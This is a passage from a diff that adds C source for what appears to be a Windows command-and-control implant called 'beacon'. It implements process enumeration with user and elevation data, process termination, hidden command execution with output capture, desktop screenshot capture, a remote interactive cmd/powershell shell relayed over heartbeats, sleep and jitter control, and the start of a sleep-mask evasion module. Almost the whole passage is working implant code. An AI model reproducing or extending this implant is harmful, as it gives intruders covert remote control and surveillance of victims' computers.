UINT32 entrySize = 2 + 2 + 2 + 1 + 1 + 2 + dmLen + 2 + unLen + 2 + pnLen;
|
||||
if ( pos + entrySize > cap ) goto cleanup;
|
||||
|
||||
PBYTE p = out + pos;
|
||||
NaxW16( p, (UINT16)(UINT_PTR)spi->UniqueProcessId ); p += 2;
|
||||
NaxW16( p, (UINT16)(UINT_PTR)spi->InheritedFromUniqueProcessId ); p += 2;
|
||||
NaxW16( p, (UINT16)spi->SessionId ); p += 2;
|
||||
*p++ = arch64;
|
||||
*p++ = elevated ? 1 : 0;
|
||||
NaxW16( p, (UINT16)dmLen ); p += 2;
|
||||
if ( dmLen > 0 ) { MmCopy( p, domain, dmLen ); p += dmLen; }
|
||||
NaxW16( p, (UINT16)unLen ); p += 2;
|
||||
if ( unLen > 0 ) { MmCopy( p, username, unLen ); p += unLen; }
|
||||
NaxW16( p, (UINT16)pnLen ); p += 2;
|
||||
if ( pnLen > 0 ) { MmCopy( p, procName, pnLen ); p += pnLen; }
|
||||
|
||||
pos += entrySize;
|
||||
count++;
|
||||
|
||||
if ( hProcess ) Nax->Ntdll.NtClose( hProcess );
|
||||
if ( hToken ) Nax->Ntdll.NtClose( hToken );
|
||||
goto next_entry;
|
||||
|
||||
cleanup:
|
||||
if ( hProcess ) Nax->Ntdll.NtClose( hProcess );
|
||||
if ( hToken ) Nax->Ntdll.NtClose( hToken );
|
||||
break;
|
||||
|
||||
next_entry:
|
||||
if ( !spi->NextEntryOffset ) break;
|
||||
spi = (PSYSTEM_PROCESS_INFORMATION)( (PBYTE)spi + spi->NextEntryOffset );
|
||||
} while ( 1 );
|
||||
|
||||
/* Write count into the reserved slot */
|
||||
countPos[0] = (BYTE)( count & 0xFF );
|
||||
countPos[1] = (BYTE)( ( count >> 8 ) & 0xFF );
|
||||
countPos[2] = (BYTE)( ( count >> 16 ) & 0xFF );
|
||||
countPos[3] = (BYTE)( ( count >> 24 ) & 0xFF );
|
||||
|
||||
*out_len = pos;
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, spiStart );
|
||||
return NAX_OK;
|
||||
}
|
||||
|
||||
/* ========= [ CMD_PS_KILL (0x24) ] ========= */
|
||||
|
||||
/* args: pid(4LE)
|
||||
* result (success): pid(4LE)
|
||||
* result (failure): Win32 error via NaxWriteWin32Err */
|
||||
|
||||
FUNC INT CmdPsKill( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) {
|
||||
if ( args_len < 4 || *out_len < 4 ) return NAX_ERR_INVAL;
|
||||
|
||||
UINT32 pid = (UINT32)args[0] | ( (UINT32)args[1] << 8 ) | ( (UINT32)args[2] << 16 ) | ( (UINT32)args[3] << 24 );
|
||||
|
||||
OBJECT_ATTRIBUTES objAttr;
|
||||
MmZero( &objAttr, sizeof( objAttr ) );
|
||||
objAttr.Length = sizeof( OBJECT_ATTRIBUTES );
|
||||
|
||||
CLIENT_ID clientId;
|
||||
MmZero( &clientId, sizeof( clientId ) );
|
||||
clientId.UniqueProcess = (HANDLE)(UINT_PTR)pid;
|
||||
|
||||
HANDLE hProcess = NULL;
|
||||
NTSTATUS status = Nax->Ntdll.NtOpenProcess( &hProcess, PROCESS_TERMINATE, &objAttr, &clientId );
|
||||
if ( !NT_SUCCESS( status ) ) {
|
||||
NaxWriteWin32Err( out, out_len );
|
||||
return NAX_ERR_FAIL;
|
||||
}
|
||||
|
||||
status = Nax->Ntdll.NtTerminateProcess( hProcess, 0 );
|
||||
Nax->Ntdll.NtClose( hProcess );
|
||||
|
||||
if ( !NT_SUCCESS( status ) ) {
|
||||
NaxWriteWin32Err( out, out_len );
|
||||
return NAX_ERR_FAIL;
|
||||
}
|
||||
|
||||
/* Return the killed PID as confirmation */
|
||||
out[0] = (BYTE)( pid & 0xFF );
|
||||
out[1] = (BYTE)( ( pid >> 8 ) & 0xFF );
|
||||
out[2] = (BYTE)( ( pid >> 16 ) & 0xFF );
|
||||
out[3] = (BYTE)( ( pid >> 24 ) & 0xFF );
|
||||
*out_len = 4;
|
||||
return NAX_OK;
|
||||
}
|
||||
|
||||
/* ========= [ CMD_PS_RUN (0x25) ] ========= */
|
||||
|
||||
/* args: flags(1) + cmdline_len(4LE) + cmdline
|
||||
* flags bit 0 (0x01): capture stdout/stderr (-o)
|
||||
* flags bit 1 (0x02): create suspended (-s)
|
||||
* flags bit 2 (0x04): use impersonation (-i, reserved)
|
||||
* result (success): pid(4LE) + flags(1) + output_text (if -o)
|
||||
* result (failure): Win32 error via NaxWriteWin32Err */
|
||||
|
||||
FUNC INT CmdPsRun( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) {
|
||||
if ( args_len < 5 || *out_len < 5 ) return NAX_ERR_INVAL;
|
||||
|
||||
BYTE flags = args[0];
|
||||
BYTE wantOutput = ( flags & 0x01 ) ? 1 : 0;
|
||||
BYTE suspended = ( flags & 0x02 ) ? 1 : 0;
|
||||
UINT32 cmdLen = (UINT32)args[1] | ( (UINT32)args[2] << 8 ) | ( (UINT32)args[3] << 16 ) | ( (UINT32)args[4] << 24 );
|
||||
if ( 5 + cmdLen > args_len || cmdLen == 0 ) return NAX_ERR_INVAL;
|
||||
|
||||
/* Build NUL-terminated command line on heap */
|
||||
PCHAR cmdline = (PCHAR)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, cmdLen + 1 );
|
||||
if ( !cmdline ) return NAX_ERR_NOMEM;
|
||||
MmCopy( cmdline, args + 5, cmdLen );
|
||||
cmdline[cmdLen] = '\0';
|
||||
|
||||
HANDLE pipeRead = NULL, pipeWrite = NULL;
|
||||
|
||||
if ( wantOutput && !suspended ) {
|
||||
SECURITY_ATTRIBUTES sa;
|
||||
MmZero( &sa, sizeof( sa ) );
|
||||
sa.nLength = sizeof( SECURITY_ATTRIBUTES );
|
||||
sa.bInheritHandle = TRUE;
|
||||
if ( !Nax->Kernel32.CreatePipe( &pipeRead, &pipeWrite, &sa, 0 ) ) {
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, cmdline );
|
||||
NaxWriteWin32Err( out, out_len );
|
||||
return NAX_ERR_FAIL;
|
||||
}
|
||||
}
|
||||
|
||||
STARTUPINFOA si;
|
||||
MmZero( &si, sizeof( si ) );
|
||||
si.cb = sizeof( STARTUPINFOA );
|
||||
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
|
||||
si.wShowWindow = SW_HIDE;
|
||||
if ( wantOutput && !suspended ) {
|
||||
si.hStdOutput = pipeWrite;
|
||||
si.hStdError = pipeWrite;
|
||||
}
|
||||
|
||||
PROCESS_INFORMATION pi;
|
||||
MmZero( &pi, sizeof( pi ) );
|
||||
|
||||
DWORD creationFlags = CREATE_NO_WINDOW;
|
||||
if ( suspended ) creationFlags |= CREATE_SUSPENDED;
|
||||
|
||||
BOOL ok = Nax->Kernel32.CreateProcessA( NULL, cmdline, NULL, NULL, ( wantOutput && !suspended ) ? TRUE : FALSE, creationFlags, NULL, NULL, &si, &pi );
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, cmdline );
|
||||
|
||||
if ( !ok ) {
|
||||
if ( pipeRead ) Nax->Kernel32.CloseHandle( pipeRead );
|
||||
if ( pipeWrite ) Nax->Kernel32.CloseHandle( pipeWrite );
|
||||
NaxWriteWin32Err( out, out_len );
|
||||
return NAX_ERR_FAIL;
|
||||
}
|
||||
|
||||
UINT32 pid = (UINT32)(UINT_PTR)pi.dwProcessId;
|
||||
|
||||
/* Write result header: pid(4LE) + flags(1) */
|
||||
out[0] = (BYTE)( pid & 0xFF );
|
||||
out[1] = (BYTE)( ( pid >> 8 ) & 0xFF );
|
||||
out[2] = (BYTE)( ( pid >> 16 ) & 0xFF );
|
||||
out[3] = (BYTE)( ( pid >> 24 ) & 0xFF );
|
||||
out[4] = flags;
|
||||
UINT32 pos = 5;
|
||||
|
||||
if ( wantOutput && !suspended ) {
|
||||
Nax->Kernel32.CloseHandle( pipeWrite );
|
||||
pipeWrite = NULL;
|
||||
|
||||
Nax->Kernel32.WaitForSingleObject( pi.hProcess, NAX_PS_OUTPUT_WAIT_MS );
|
||||
|
||||
BYTE readBuf[4096];
|
||||
for ( ;; ) {
|
||||
DWORD avail = 0;
|
||||
if ( !Nax->Kernel32.PeekNamedPipe( pipeRead, NULL, 0, NULL, &avail, NULL ) || avail == 0 ) break;
|
||||
|
||||
DWORD bytesRead = 0;
|
||||
DWORD toRead = avail < sizeof( readBuf ) ? avail : sizeof( readBuf );
|
||||
if ( !Nax->Kernel32.ReadFile( pipeRead, readBuf, toRead, &bytesRead, NULL ) || bytesRead == 0 ) break;
|
||||
|
||||
UINT32 space = ( *out_len > pos ) ? ( *out_len - pos ) : 0;
|
||||
UINT32 copy = ( bytesRead <= space ) ? bytesRead : space;
|
||||
if ( copy > 0 ) {
|
||||
MmCopy( out + pos, readBuf, copy );
|
||||
pos += copy;
|
||||
}
|
||||
if ( copy < bytesRead ) break;
|
||||
}
|
||||
Nax->Kernel32.CloseHandle( pipeRead );
|
||||
|
||||
Nax->Ntdll.NtTerminateProcess( pi.hProcess, 0 );
|
||||
}
|
||||
|
||||
Nax->Kernel32.CloseHandle( pi.hProcess );
|
||||
Nax->Kernel32.CloseHandle( pi.hThread );
|
||||
|
||||
*out_len = pos;
|
||||
return NAX_OK;
|
||||
}
|
||||
@@ -0,0 +1,102 @@
|
||||
/* beacon/src/Commands/Screenshot.c
|
||||
* CMD_SCREENSHOT (0x21) - capture desktop via GDI and return as a BMP wrapped in
|
||||
* the CALLBACK_AX_SCREENSHOT (0x81) tagged format so the server calls TsScreenshotAdd.
|
||||
*
|
||||
* Result layout (same as AxAddScreenshot BOF proxy):
|
||||
* [0x81][note_len(4LE)=0][note(0)][bmp_len(4LE)][bmp_bytes]
|
||||
*
|
||||
* The BMP is a 24-bpp top-down Device-Independent Bitmap:
|
||||
* BITMAPFILEHEADER (14 bytes) + BITMAPINFOHEADER (40 bytes) + pixel rows.
|
||||
* Row stride is DWORD-aligned: (width*3 + 3) & ~3. */
|
||||
|
||||
#include "Nax.h"
|
||||
#include "Bof.h"
|
||||
#include "Screenshot.h"
|
||||
|
||||
FUNC INT NaxCmdScreenshot( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len ) {
|
||||
NaxDbg( Nax, "[scr] GetDC=%p BitBlt=%p GetDIBits=%p",
|
||||
(PVOID)Nax->User32.GetDC, (PVOID)Nax->Gdi32.BitBlt, (PVOID)Nax->Gdi32.GetDIBits );
|
||||
if ( !Nax->User32.GetDC || !Nax->Gdi32.BitBlt || !Nax->Gdi32.GetDIBits ) {
|
||||
NaxDbg( Nax, "[scr] GDI not available - user32/gdi32 not loaded" );
|
||||
return NAX_ERR_FAIL;
|
||||
}
|
||||
|
||||
INT cx = Nax->User32.GetSystemMetrics( NX_SM_CXSCREEN );
|
||||
INT cy = Nax->User32.GetSystemMetrics( NX_SM_CYSCREEN );
|
||||
if ( cx <= 0 || cy <= 0 ) return NAX_ERR_FAIL;
|
||||
|
||||
/* Capture screen */
|
||||
HDC hdcSrc = Nax->User32.GetDC( NULL );
|
||||
if ( !hdcSrc ) return NAX_ERR_FAIL;
|
||||
|
||||
HDC hdcMem = Nax->Gdi32.CreateCompatibleDC( hdcSrc );
|
||||
HBITMAP hBmp = Nax->Gdi32.CreateCompatibleBitmap( hdcSrc, cx, cy );
|
||||
if ( !hdcMem || !hBmp ) {
|
||||
if ( hBmp ) Nax->Gdi32.DeleteObject( hBmp );
|
||||
if ( hdcMem ) Nax->Gdi32.DeleteDC( hdcMem );
|
||||
Nax->User32.ReleaseDC( NULL, hdcSrc );
|
||||
return NAX_ERR_FAIL;
|
||||
}
|
||||
|
||||
HGDIOBJ hOld = Nax->Gdi32.SelectObject( hdcMem, hBmp );
|
||||
Nax->Gdi32.BitBlt( hdcMem, 0, 0, cx, cy, hdcSrc, 0, 0, NX_SRCCOPY );
|
||||
Nax->Gdi32.SelectObject( hdcMem, hOld );
|
||||
Nax->User32.ReleaseDC( NULL, hdcSrc );
|
||||
|
||||
/* Compute sizes */
|
||||
UINT32 stride = ( (UINT32)cx * 3u + 3u ) & ~3u; /* DWORD-aligned 24bpp row */
|
||||
UINT32 pixel_sz = stride * (UINT32)cy;
|
||||
UINT32 bmp_sz = 14u + 40u + pixel_sz; /* FILEHEADER + INFOHEADER + pixels */
|
||||
|
||||
/* Result: [0x81][note_len=0(4)][bmp_len(4)][bmp] */
|
||||
UINT32 result_sz = 1u + 4u + 4u + bmp_sz;
|
||||
if ( result_sz > *out_len ) {
|
||||
Nax->Gdi32.DeleteObject( hBmp );
|
||||
Nax->Gdi32.DeleteDC( hdcMem );
|
||||
return NAX_ERR_NOMEM;
|
||||
}
|
||||
|
||||
PBYTE p = out;
|
||||
|
||||
/* Type tag */
|
||||
*p++ = CALLBACK_AX_SCREENSHOT;
|
||||
|
||||
/* note_len = 0 */
|
||||
*p++ = 0; *p++ = 0; *p++ = 0; *p++ = 0;
|
||||
|
||||
/* bmp_len */
|
||||
NaxW32( p, bmp_sz ); p += 4;
|
||||
|
||||
/* BITMAPFILEHEADER (14 bytes) */
|
||||
p[0] = 'B'; p[1] = 'M';
|
||||
NaxW32( p + 2, bmp_sz ); /* bfSize */
|
||||
NaxW32( p + 6, 0 ); /* bfReserved1+2 */
|
||||
NaxW32( p + 10, 14u + 40u ); /* bfOffBits */
|
||||
p += 14;
|
||||
|
||||
/* BITMAPINFOHEADER (40 bytes) */
|
||||
NaxW32( p, 40u ); /* biSize */
|
||||
NaxW32( p + 4, (UINT32)cx ); /* biWidth */
|
||||
NaxW32( p + 8, (UINT32)cy ); /* biHeight (positive = bottom-up) */
|
||||
p[12] = 1; p[13] = 0; /* biPlanes = 1 */
|
||||
p[14] = 24; p[15] = 0; /* biBitCount = 24 */
|
||||
NaxW32( p + 16, 0 ); /* biCompression = BI_RGB */
|
||||
NaxW32( p + 20, pixel_sz ); /* biSizeImage */
|
||||
NaxW32( p + 24, 0 ); /* biXPelsPerMeter */
|
||||
NaxW32( p + 28, 0 ); /* biYPelsPerMeter */
|
||||
NaxW32( p + 32, 0 ); /* biClrUsed */
|
||||
NaxW32( p + 36, 0 ); /* biClrImportant */
|
||||
|
||||
/* GetDIBits fills pixel data into p+40 using the BITMAPINFO at p */
|
||||
Nax->Gdi32.GetDIBits( hdcMem, hBmp, 0, (UINT)cy,
|
||||
p + 40,
|
||||
(PVOID)p, /* BITMAPINFO* - reuses INFOHEADER above */
|
||||
NX_DIB_RGB_COLORS );
|
||||
p += 40 + pixel_sz;
|
||||
|
||||
Nax->Gdi32.DeleteObject( hBmp );
|
||||
Nax->Gdi32.DeleteDC( hdcMem );
|
||||
|
||||
*out_len = result_sz;
|
||||
return NAX_OK;
|
||||
}
|
||||
@@ -0,0 +1,277 @@
|
||||
/* beacon/src/Commands/Shell.c
|
||||
* Remote interactive shell - bidirectional pipe to cmd.exe/powershell.exe.
|
||||
* Shells live in Nax->ShellHead; output is drained by NaxProcessShells on
|
||||
* each heartbeat and returned in job-result wire format. */
|
||||
|
||||
#include "Nax.h"
|
||||
|
||||
#define SHELL_READ_BUF 4096u
|
||||
|
||||
/* ========= [ linked-list helpers ] ========= */
|
||||
|
||||
FUNC static NAX_SHELL* ShellFind( PNAX_INSTANCE Nax, UINT32 terminalId ) {
|
||||
NAX_SHELL* s = Nax->ShellHead;
|
||||
while ( s ) {
|
||||
if ( s->TerminalId == terminalId )
|
||||
return s;
|
||||
s = s->Next;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
FUNC static VOID ShellFree( PNAX_INSTANCE Nax, NAX_SHELL* s ) {
|
||||
if ( s->hStdinWrite ) Nax->Kernel32.CloseHandle( s->hStdinWrite );
|
||||
if ( s->hStdoutRead ) Nax->Kernel32.CloseHandle( s->hStdoutRead );
|
||||
if ( s->hThread ) Nax->Kernel32.CloseHandle( s->hThread );
|
||||
if ( s->hProcess ) Nax->Kernel32.CloseHandle( s->hProcess );
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, s );
|
||||
}
|
||||
|
||||
/* ========= [ CmdShellStart ] ========= */
|
||||
|
||||
FUNC static VOID CmdShellStart( PNAX_INSTANCE Nax, UINT32 terminalId, const PBYTE args, UINT32 argsLen ) {
|
||||
if ( argsLen < 4 ) return;
|
||||
|
||||
UINT32 progLen = NaxR32( args );
|
||||
if ( 4 + progLen > argsLen || progLen == 0 ) return;
|
||||
|
||||
PCHAR cmdline = (PCHAR)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, progLen + 1 );
|
||||
if ( !cmdline ) return;
|
||||
MmCopy( cmdline, args + 4, progLen );
|
||||
cmdline[ progLen ] = '\0';
|
||||
|
||||
/* create stdin pipe: parent writes, child reads */
|
||||
HANDLE hStdinRead = NULL;
|
||||
HANDLE hStdinWrite = NULL;
|
||||
/* create stdout pipe: child writes, parent reads */
|
||||
HANDLE hStdoutRead = NULL;
|
||||
HANDLE hStdoutWrite = NULL;
|
||||
|
||||
SECURITY_ATTRIBUTES sa;
|
||||
MmZero( &sa, sizeof( sa ) );
|
||||
sa.nLength = sizeof( SECURITY_ATTRIBUTES );
|
||||
sa.bInheritHandle = TRUE;
|
||||
|
||||
if ( !Nax->Kernel32.CreatePipe( &hStdinRead, &hStdinWrite, &sa, 0 ) ) {
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, cmdline );
|
||||
return;
|
||||
}
|
||||
|
||||
if ( !Nax->Kernel32.CreatePipe( &hStdoutRead, &hStdoutWrite, &sa, 0 ) ) {
|
||||
Nax->Kernel32.CloseHandle( hStdinRead );
|
||||
Nax->Kernel32.CloseHandle( hStdinWrite );
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, cmdline );
|
||||
return;
|
||||
}
|
||||
|
||||
STARTUPINFOA si;
|
||||
MmZero( &si, sizeof( si ) );
|
||||
si.cb = sizeof( STARTUPINFOA );
|
||||
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
|
||||
si.wShowWindow = SW_HIDE;
|
||||
si.hStdInput = hStdinRead;
|
||||
si.hStdOutput = hStdoutWrite;
|
||||
si.hStdError = hStdoutWrite;
|
||||
|
||||
PROCESS_INFORMATION pi;
|
||||
MmZero( &pi, sizeof( pi ) );
|
||||
|
||||
BOOL ok = Nax->Kernel32.CreateProcessA( NULL, cmdline, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi );
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, cmdline );
|
||||
|
||||
/* child-side pipe ends are now owned by the child; close our copies */
|
||||
Nax->Kernel32.CloseHandle( hStdinRead );
|
||||
Nax->Kernel32.CloseHandle( hStdoutWrite );
|
||||
|
||||
if ( !ok ) {
|
||||
Nax->Kernel32.CloseHandle( hStdinWrite );
|
||||
Nax->Kernel32.CloseHandle( hStdoutRead );
|
||||
return;
|
||||
}
|
||||
|
||||
NAX_SHELL* s = (NAX_SHELL*)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, sizeof( NAX_SHELL ) );
|
||||
if ( !s ) {
|
||||
Nax->Ntdll.NtTerminateProcess( pi.hProcess, 0 );
|
||||
Nax->Kernel32.CloseHandle( pi.hProcess );
|
||||
Nax->Kernel32.CloseHandle( pi.hThread );
|
||||
Nax->Kernel32.CloseHandle( hStdinWrite );
|
||||
Nax->Kernel32.CloseHandle( hStdoutRead );
|
||||
return;
|
||||
}
|
||||
|
||||
MmZero( s, sizeof( NAX_SHELL ) );
|
||||
s->TerminalId = terminalId;
|
||||
s->hProcess = pi.hProcess;
|
||||
s->hThread = pi.hThread;
|
||||
s->hStdinWrite = hStdinWrite;
|
||||
s->hStdoutRead = hStdoutRead;
|
||||
s->State = NAX_JOB_RUNNING;
|
||||
s->Started = 0;
|
||||
|
||||
s->Next = Nax->ShellHead;
|
||||
Nax->ShellHead = s;
|
||||
|
||||
Nax->Kernel32.SetEvent( Nax->JobWakeEvent );
|
||||
}
|
||||
|
||||
/* ========= [ CmdShellWrite ] ========= */
|
||||
|
||||
FUNC static VOID CmdShellWrite( PNAX_INSTANCE Nax, const PBYTE args, UINT32 argsLen ) {
|
||||
if ( argsLen < 8 ) return;
|
||||
|
||||
UINT32 terminalId = NaxR32( args );
|
||||
UINT32 dataLen = NaxR32( args + 4 );
|
||||
if ( 8 + dataLen > argsLen || dataLen == 0 ) return;
|
||||
|
||||
NAX_SHELL* s = ShellFind( Nax, terminalId );
|
||||
if ( !s || s->State != NAX_JOB_RUNNING ) return;
|
||||
|
||||
DWORD written = 0;
|
||||
Nax->Kernel32.WriteFile( s->hStdinWrite, args + 8, dataLen, &written, NULL );
|
||||
}
|
||||
|
||||
/* ========= [ CmdShellClose ] ========= */
|
||||
|
||||
FUNC static VOID CmdShellClose( PNAX_INSTANCE Nax, const PBYTE args, UINT32 argsLen ) {
|
||||
if ( argsLen < 4 ) return;
|
||||
|
||||
UINT32 terminalId = NaxR32( args );
|
||||
NAX_SHELL* s = ShellFind( Nax, terminalId );
|
||||
if ( !s ) return;
|
||||
|
||||
s->State = NAX_JOB_KILLED;
|
||||
Nax->Kernel32.SetEvent( Nax->JobWakeEvent );
|
||||
}
|
||||
|
||||
/* ========= [ NaxShellDispatch ] ========= */
|
||||
|
||||
FUNC VOID NaxShellDispatch( PNAX_INSTANCE Nax, UINT32 taskId, BYTE cmdId, const PBYTE args, UINT32 argsLen ) {
|
||||
if ( cmdId == NAX_CMD_SHELL_START )
|
||||
CmdShellStart( Nax, taskId, args, argsLen );
|
||||
else if ( cmdId == NAX_CMD_SHELL_WRITE )
|
||||
CmdShellWrite( Nax, args, argsLen );
|
||||
else if ( cmdId == NAX_CMD_SHELL_CLOSE )
|
||||
CmdShellClose( Nax, args, argsLen );
|
||||
}
|
||||
|
||||
/* ========= [ NaxProcessShells - heartbeat drain ] ========= */
|
||||
|
||||
FUNC UINT32 NaxProcessShells( PNAX_INSTANCE Nax, PBYTE out, UINT32 out_cap ) {
|
||||
UINT32 written = 0;
|
||||
NAX_SHELL** pp = &Nax->ShellHead;
|
||||
|
||||
while ( *pp ) {
|
||||
NAX_SHELL* s = *pp;
|
||||
|
||||
/* ---- alive: drain stdout ---- */
|
||||
if ( s->State == NAX_JOB_RUNNING ) {
|
||||
|
||||
/* send empty output once as STARTING notification */
|
||||
if ( !s->Started ) {
|
||||
if ( written + 9 <= out_cap ) {
|
||||
out[ written ] = NAX_JOB_OUTPUT;
|
||||
NaxW32( out + written + 1, s->TerminalId );
|
||||
NaxW32( out + written + 5, 0 );
|
||||
written += 9;
|
||||
}
|
||||
s->Started = 1;
|
||||
}
|
||||
|
||||
/* check whether child has exited */
|
||||
BOOL exited = ( Nax->Kernel32.WaitForSingleObject( s->hProcess, 0 ) == WAIT_OBJECT_0 );
|
||||
|
||||
/* drain available stdout bytes - read directly into out to avoid extra stack buf */
|
||||
for ( ;; ) {
|
||||
DWORD avail = 0;
|
||||
if ( !Nax->Kernel32.PeekNamedPipe( s->hStdoutRead, NULL, 0, NULL, &avail, NULL ) || avail == 0 )
|
||||
break;
|
||||
|
||||
UINT32 hdr_off = written;
|
||||
UINT32 data_off = written + 9;
|
||||
if ( data_off >= out_cap ) break;
|
||||
|
||||
UINT32 space = out_cap - data_off;
|
||||
DWORD toRead = ( avail < space ) ? avail : (DWORD)space;
|
||||
if ( toRead > SHELL_READ_BUF ) toRead = SHELL_READ_BUF;
|
||||
|
||||
DWORD bytesRead = 0;
|
||||
if ( !Nax->Kernel32.ReadFile( s->hStdoutRead, out + data_off, toRead, &bytesRead, NULL ) || bytesRead == 0 )
|
||||
break;
|
||||
|
||||
out[ hdr_off ] = NAX_JOB_OUTPUT;
|
||||
NaxW32( out + hdr_off + 1, s->TerminalId );
|
||||
NaxW32( out + hdr_off + 5, bytesRead );
|
||||
written += 9 + bytesRead;
|
||||
}
|
||||
|
||||
if ( exited )
|
||||
s->State = NAX_JOB_FINISHED;
|
||||
|
||||
pp = &s->Next;
|
||||
continue;
|
||||
}
|
||||
|
||||
/* ---- finished or killed: final drain + send completion + unlink ---- */
|
||||
BYTE final_type = ( s->State == NAX_JOB_KILLED ) ? NAX_JOB_KILLED : NAX_JOB_COMPLETE;
|
||||
|
||||
if ( s->State == NAX_JOB_KILLED ) {
|
||||
/* terminate the child process */
|
||||
Nax->Ntdll.NtTerminateProcess( s->hProcess, 0 );
|
||||
}
|
||||
|
||||
/* drain any remaining stdout before reporting completion */
|
||||
for ( ;; ) {
|
||||
DWORD avail = 0;
|
||||
if ( !Nax->Kernel32.PeekNamedPipe( s->hStdoutRead, NULL, 0, NULL, &avail, NULL ) || avail == 0 )
|
||||
break;
|
||||
|
||||
UINT32 hdr_off = written;
|
||||
UINT32 data_off = written + 9;
|
||||
if ( data_off >= out_cap ) break;
|
||||
|
||||
UINT32 space = out_cap - data_off;
|
||||
DWORD toRead = ( avail < space ) ? avail : (DWORD)space;
|
||||
if ( toRead > SHELL_READ_BUF ) toRead = SHELL_READ_BUF;
|
||||
|
||||
DWORD bytesRead = 0;
|
||||
if ( !Nax->Kernel32.ReadFile( s->hStdoutRead, out + data_off, toRead, &bytesRead, NULL ) || bytesRead == 0 )
|
||||
break;
|
||||
|
||||
out[ hdr_off ] = NAX_JOB_OUTPUT;
|
||||
NaxW32( out + hdr_off + 1, s->TerminalId );
|
||||
NaxW32( out + hdr_off + 5, bytesRead );
|
||||
written += 9 + bytesRead;
|
||||
}
|
||||
|
||||
/* send completion record */
|
||||
if ( final_type == NAX_JOB_COMPLETE ) {
|
||||
/* 4-byte exit status as data (via NtQueryInformationProcess) */
|
||||
PROCESS_BASIC_INFORMATION pbi;
|
||||
MmZero( &pbi, sizeof( pbi ) );
|
||||
Nax->Ntdll.NtQueryInformationProcess( s->hProcess, ProcessBasicInformation, &pbi, sizeof( pbi ), NULL );
|
||||
UINT32 exitCode = (UINT32)pbi.ExitStatus;
|
||||
|
||||
if ( written + 13 <= out_cap ) {
|
||||
out[ written ] = NAX_JOB_COMPLETE;
|
||||
NaxW32( out + written + 1, s->TerminalId );
|
||||
NaxW32( out + written + 5, 4 );
|
||||
NaxW32( out + written + 9, exitCode );
|
||||
written += 13;
|
||||
}
|
||||
} else {
|
||||
/* KILLED: empty data */
|
||||
if ( written + 9 <= out_cap ) {
|
||||
out[ written ] = NAX_JOB_KILLED;
|
||||
NaxW32( out + written + 1, s->TerminalId );
|
||||
NaxW32( out + written + 5, 0 );
|
||||
written += 9;
|
||||
}
|
||||
}
|
||||
|
||||
/* unlink */
|
||||
*pp = s->Next;
|
||||
ShellFree( Nax, s );
|
||||
}
|
||||
|
||||
return written;
|
||||
}
|
||||
@@ -0,0 +1,55 @@
|
||||
/* beacon/src/Commands/Sleep.c
|
||||
* CMD_SLEEP (0x11) - update sleep interval and jitter, return confirmation. */
|
||||
|
||||
#include "Nax.h"
|
||||
|
||||
FUNC INT NaxCmdSleep( PNAX_INSTANCE Nax,
|
||||
const PBYTE args, UINT32 args_len,
|
||||
PBYTE out, UINT32* out_len ) {
|
||||
if ( args_len < 5 || args == NULL )
|
||||
return NAX_ERR_INVAL;
|
||||
|
||||
UINT32 new_ms = (UINT32)args[0] | ( (UINT32)args[1] << 8 ) | ( (UINT32)args[2] << 16 ) | ( (UINT32)args[3] << 24 );
|
||||
BYTE new_jitter = args[4];
|
||||
if ( new_jitter > 100 )
|
||||
new_jitter = 100;
|
||||
|
||||
Nax->Config.SleepMs = new_ms;
|
||||
Nax->Config.JitterPct = new_jitter;
|
||||
|
||||
if ( *out_len < 64 )
|
||||
return NAX_ERR_NOMEM;
|
||||
|
||||
/* Binary prefix: sleep_ms(4LE) | jitter_pct(1) */
|
||||
PBYTE p = out;
|
||||
p[0] = (BYTE)( new_ms & 0xFFu );
|
||||
p[1] = (BYTE)( ( new_ms >> 8 ) & 0xFFu );
|
||||
p[2] = (BYTE)( ( new_ms >> 16 ) & 0xFFu );
|
||||
p[3] = (BYTE)( ( new_ms >> 24 ) & 0xFFu );
|
||||
p[4] = new_jitter;
|
||||
UINT32 pos = 5;
|
||||
|
||||
/* "sleep=" */
|
||||
CHAR pfx[] = { 's', 'l', 'e', 'e', 'p', '=' };
|
||||
MmCopy( out + pos, pfx, 6 );
|
||||
pos += 6;
|
||||
if ( new_ms == 0 || ( new_ms % 1000u ) == 0 ) {
|
||||
pos += NaxUToStr( new_ms / 1000u, (PCHAR)out + pos );
|
||||
out[pos++] = 's';
|
||||
} else {
|
||||
pos += NaxUToStr( new_ms, (PCHAR)out + pos );
|
||||
out[pos++] = 'm';
|
||||
out[pos++] = 's';
|
||||
}
|
||||
|
||||
if ( new_jitter > 0 ) {
|
||||
CHAR jfx[] = { ' ', 'j', 'i', 't', 't', 'e', 'r', '=' };
|
||||
MmCopy( out + pos, jfx, 8 );
|
||||
pos += 8;
|
||||
pos += NaxUToStr( (UINT32)new_jitter, (PCHAR)out + pos );
|
||||
out[pos++] = '%';
|
||||
}
|
||||
|
||||
*out_len = pos;
|
||||
return NAX_OK;
|
||||
}
|
||||
@@ -0,0 +1,270 @@
|
||||
/* beacon/src/Commands/Sleepmask.c
|
||||
* BeaconGate: gate wrappers, init (embedded BOF), runtime reload.
|
||||
* All gate wrappers MUST be in the same TU as the code that takes their
|
||||
* address - cross-TU references go through .refptr (GOT-like)
|
||||
* which is lost when we extract .text for PIC. */
|
||||
|
||||
#include "Nax.h"
|
||||
#include "Config.h"
|
||||
#include "Bof.h"
|
||||
#include "Gate.h"
|
||||
|
||||
typedef VOID (*FN_SM_ENTRY)( PVOID, PFUNCTION_CALL );
|
